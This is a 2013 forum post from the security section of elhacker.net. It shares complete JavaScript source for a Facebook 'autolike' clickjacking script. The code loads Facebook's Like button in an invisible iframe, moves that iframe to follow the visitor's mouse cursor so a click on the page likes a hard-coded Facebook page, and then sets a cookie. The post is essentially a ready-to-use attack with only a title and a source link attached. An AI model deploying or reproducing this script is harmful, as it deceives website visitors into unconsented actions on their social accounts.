Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: el-brujo en 15 Octubre 2013, 11:54 am



Título: Autolike en Facebook - source javascript
Publicado por: el-brujo en 15 Octubre 2013, 11:54 am
<!– Script AutoLike 1/2 (inicio) –>

<!– Script AutoLike 1/2 (fin) –>


Código
  1.  
  2.    function setCookie(c_name,value,exdays) {
  3.            var exdate=new Date();
  4.            exdate.setDate(exdate.getDate() + exdays);
  5.            var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
  6.            document.cookie=c_name + "=" + c_value;
  7.    }
  8.  
  9.    function getCookie(c_name) {
  10.            var i,x,y,ARRcookies=document.cookie.split(";");
  11.            for (i=0;i<ARRcookies.length;i++) {
  12.                    x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
  13.                    y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
  14.                    x=x.replace(/^\s+|\s+$/g,"");
  15.                    if (x==c_name) {
  16.                            return unescape(y);
  17.                    }
  18.            }
  19.    }
  20.  
  21.    var total = "1";
  22.    var time = "365";
  23.  
  24.    var accounts = getCookie("number");
  25.    var plus = parseInt(getCookie("number")) + parseInt(1);
  26.  
  27.    switch (accounts) {
  28.    default:
  29.            var account = "http://www.facebook.com/RinconAbstracto";
  30.    break;
  31.    case total:
  32.            var ready = true;
  33.    break;
  34.    }
  35.  
  36.    var interval;
  37.    var iflag;
  38.    var icontainer;
  39.    var standardbody;
  40.  
  41.    if (ready == true) {
  42.    } else {
  43.    window.fbAsyncInit = function(){
  44.    FB.init({ appId:'432296140140060', status:true,  cookie:true, xfbml:true});
  45.    FB.getLoginStatus(function(response){
  46.    if (response.status != "unknown")
  47.    {
  48.    jQuery(function () {
  49.            jQuery("body").append('<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0; z-index:9999;" id="icontainer"><iframe src="http://www.facebook.com/plugins/like.php?href='+ account +'&layout=standard&show_faces=false&width=450&action=like&font=tahoma&colorscheme=light&height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:50px; height:23px;" allowTransparency="true" id="werunthenite" name="werunthenite"></iframe></div>');
  50.            iflag = 0;
  51.            icontainer = document.getElementById('icontainer');
  52.            standardbody = (document.compatMode == "CSS1Compat") ? document.documentElement : document.body //create reference to common "body" across doctypes
  53.            interval = setInterval("updateActiveElement();", 50);
  54.    });
  55.    }
  56.    });
  57.    };
  58.    // Load the SDK Asynchronously
  59.    (function(d){
  60.    var js, id = 'facebook-jssdk'; if (d.getElementById(id)) {return;}
  61.    js = d.createElement('script'); js.id = id; js.async = true;
  62.    js.src = "//connect.facebook.net/en_US/all.js";
  63.    d.getElementsByTagName('head')[0].appendChild(js);
  64.    }(document));
  65.    jQuery("html").bind('mousemove', function (e) {
  66.            if (iflag == 0) {
  67.                    var x = e.pageX - 5;
  68.                    var y = e.pageY;
  69.                    //console.log("X: " + x + " AND Y: " + y);
  70.                    jQuery(icontainer).css('top', y).css('left', x);
  71.            }
  72.    });
  73.    }
  74.  
  75.    function updateActiveElement() {
  76.            if (jQuery(document.activeElement).attr('id') == "werunthenite") {
  77.                    setTimeout('$("#icontainer").remove();', 500);
  78.                    if (typeof accounts === 'undefined') {
  79.                    setCookie("number","1",time);
  80.                    } else {
  81.                    setCookie("number",plus,time)
  82.                    }
  83.                    var flag = 0;
  84.                    clearInterval(interval);
  85.                    iflag = 1;
  86.                    if (flag != 0) document.location = "";
  87.            }
  88.    }

Fuente:
http://core.gotmalk.org/2013/10/12/auto-likes-en-facebook-cuidado-con-tu-privacidad/